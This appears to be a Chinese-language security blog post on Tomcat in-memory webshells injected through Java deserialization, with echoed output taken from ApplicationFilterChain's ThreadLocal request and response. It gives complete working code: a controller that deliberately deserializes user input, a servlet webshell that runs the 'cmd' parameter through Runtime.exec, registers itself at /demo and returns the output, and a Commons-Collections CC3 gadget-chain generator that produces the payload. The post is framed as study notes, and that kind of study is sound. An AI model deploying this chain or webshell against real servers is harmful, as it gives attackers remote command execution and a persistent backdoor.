前言

也算是和利用有关

之前分析的几个内存马,jsp类型的是可以通过文件上传来注入利用的,但是如果直接注入,那么就得用到反序列化,那么我们就要考虑回显问题了(jsp是内置了request和response的),今天要学习两个方法来解决这个问题

  1. 使用ThreadLocal Response 回显,原理是从ApplicationFilterChain类中获取到response对象。当然如果漏洞是在ApplicationFilterChain之前的话,这个方法就不能使用了。
  2. 通过全局Response回显,寻找tomcat在处理servlet、filter之前有没有存储Response变量。

TreadLocal Response回显

什么是TreadLocal

TreadLocal就是线程安全,它是怎么做到安全的呢?举个例子:如果现在不安全的情况下,比如有很多人同时向服务器去请求不同数量的同一个东西,那么第一个人如果要10个,其他人也都会得到10个(因为是并发),拿不到预期想要的东西。
如果要解决这种问题就可以使用TreadLocal,创建一个独立的变量域,这样就不会出现线程间的变量覆盖这种情况。

利用分析

前文提到利用的入口类是从ApplicationFilterChain类,为什么呢?那肯定是我们能从ApplicationFilterChain类中获取到我们想要的request和response,这样才能看到回显。
image.png
我们可以看到这里是有两个ThreadLocal对象,是用泛型ServletRequest和ServletResponse来接的,那么我们就可以尝试从这里来获取到tomcat的request和response。
然后我们可以看到在internaldofilter方法中对这两个属性进行了赋值。
image.png
但是这里是要满足特定条件,才能set的。
不同的spring版本要满足的条件是不同的
例如:
springboot2中的条件是:
image.png
springboot3中的条件是:
image.png
所以我们在测试的时候要进行两次请求,第一次是修改掉条件值,使其满足条件,第二次才是设置我们的request和response,这样我们才能够从上述两个属性中获取到我们需要的request和response。
一个简单的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.test.ncm3.controller;  

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class test1 {
@RequestMapping("/test1")
@ResponseBody
public String test1() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
//获取三大属性
Field declaredField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
declaredField.setAccessible(true);
Field declaredField1 = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
declaredField1.setAccessible(true);
Field declaredField2 = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
declaredField2.setAccessible(true);
//去final
Field declaredField3 = Field.class.getDeclaredField("modifiers");
declaredField3.setAccessible(true);
declaredField3.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL);
declaredField3.setInt(declaredField1,declaredField1.getModifiers() & ~Modifier.FINAL);
declaredField3.setInt(declaredField2,declaredField2.getModifiers() & ~Modifier.FINAL);
//改类型
ThreadLocal<ServletRequest> request1 = (ThreadLocal<ServletRequest>) declaredField.get(null);
ThreadLocal<ServletResponse> reponse1 = (ThreadLocal<ServletResponse>) declaredField1.get(null);
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Boolean b = (Boolean) declaredField2.get(aClass);
//修改WRAP_SAME_OBJECT,并修改lastServicedRequest和lastServicedResponse防止为null
if(b!=true||request1==null||reponse1==null) {
declaredField2.set(null,true);
declaredField.set(null,new ThreadLocal<>());
declaredField1.set(null,new ThreadLocal<>());
}
else {
ServletRequest servletRequest = request1.get();
ServletContext servletContext = servletRequest.getServletContext();
System.out.println(servletRequest);
System.out.println(servletContext);
}

return "OK";
}
}

image.png

结合反序列化进行注入

反序列化点是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.test.ncm3.controller;  

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class hello {
@RequestMapping("/hello")
public void hello(HttpServletRequest request) throws IOException, ClassNotFoundException {
byte[] names = Base64.getDecoder().decode(request.getParameter("name"));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(names);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
System.out.println(objectInputStream.readObject());
}
}

准备好cc链需要的依赖
然后开始写我们的exp(sevlet内存马)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class exp extends AbstractTranslet implements Servlet{
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
RequestFacade servletRequest1 = (RequestFacade) servletRequest;
Class<? extends RequestFacade> aClass = servletRequest1.getClass();
try {
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request = (Request) declaredField.get(servletRequest1);
Response response = request.getResponse();
if(request.getParameter("cmd")!=null){
InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len;
byte[] bytes = new byte[1024];
while ((len = inputStream.read(bytes)) != -1) {

response.getOutputStream().write(bytes, 0, len);

}
}

} catch (Exception e) {
e.printStackTrace();
}

}

@Override
public String getServletInfo() {
return "";
}

@Override
public void destroy() {

}

public exp(){
try{
//获取三大属性
Field declaredField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
declaredField.setAccessible(true);
Field declaredField1 = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
declaredField1.setAccessible(true);
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field declaredField2 = aClass.getDeclaredField("WRAP_SAME_OBJECT");
declaredField2.setAccessible(true);
//去final
Field declaredField3 = Field.class.getDeclaredField("modifiers");
declaredField3.setAccessible(true);
declaredField3.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL);
declaredField3.setInt(declaredField1,declaredField1.getModifiers() & ~Modifier.FINAL);
declaredField3.setInt(declaredField2,declaredField2.getModifiers() & ~Modifier.FINAL);
//改类型
ThreadLocal<ServletRequest> servletRequestThreadLocal = (ThreadLocal<ServletRequest>) declaredField.get(null);
ThreadLocal<ServletResponse> servletResponseThreadLocal = (ThreadLocal<ServletResponse>) declaredField1.get(null);
boolean b = (boolean) declaredField2.get(null);
//获取servletcbontext

if(b!=true||servletRequestThreadLocal==null||servletResponseThreadLocal==null){
declaredField2.set(null,true);
declaredField.set(null,new ThreadLocal<>());
declaredField1.set(null,new ThreadLocal<>());
}
else{
ServletRequest servletRequest = servletRequestThreadLocal.get();
RequestFacade servletRequest1 = (RequestFacade) servletRequest;
Class<? extends RequestFacade> aClass1 = servletRequest1.getClass();
Field declaredField4 = aClass1.getDeclaredField("request");
declaredField4.setAccessible(true);
Request request = (Request) declaredField4.get(servletRequest1);
Response response = request.getResponse();

StandardContext context = (StandardContext) request.getContext();


String simpleName = this.getClass().getSimpleName();

Wrapper wrapper = context.createWrapper();
wrapper.setName(simpleName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(this);
wrapper.setServletClass(this.getClass().getName());

context.addChild(wrapper);
context.addServletMappingDecoded("/demo",simpleName);


}



}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

第一次我是直接按照之前的马写的,因为是单独new的一个servlet,所以会独立生成一个class文件,在反序列化的时候,因为用的cc3读字节流就读不到这个class文件,所以行不通,后来是用servlet接口,这样使用this就可以了,也不会出现上述情况。
cc3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "cc3");
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\ncm\\ncm3\\target\\classes\\exp.class"));
byte[][] _b = {b};
_bytecodes.set(templates, _b);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] T = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transform = new ChainedTransformer(T);
HashMap<Object,Object> m = new HashMap();
Map<Object,Object> m2 = LazyMap.decorate(m,transform);
Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2);
Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o2 = constructor.newInstance(Override.class, o1);
serialize(o2);
// deserialize("ser.bin");
System.out.println(base64Encode("ser.bin"));





}
public static String base64Encode(String s) throws IOException {
if (s == null) return null;
byte[] bytes = Files.readAllBytes(Paths.get(s));
return Base64.getEncoder().encodeToString(bytes);


}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}
// public static Object deserialize(String filename) throws Exception {
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
// return objectInputStream.readObject();
// }
}

最后结果
image.png
成功写入

参考

Tomcat内存马回显 - F12~ - 博客园
Tomcat型内存马回显以及反序列化写入 | stoocea’s blog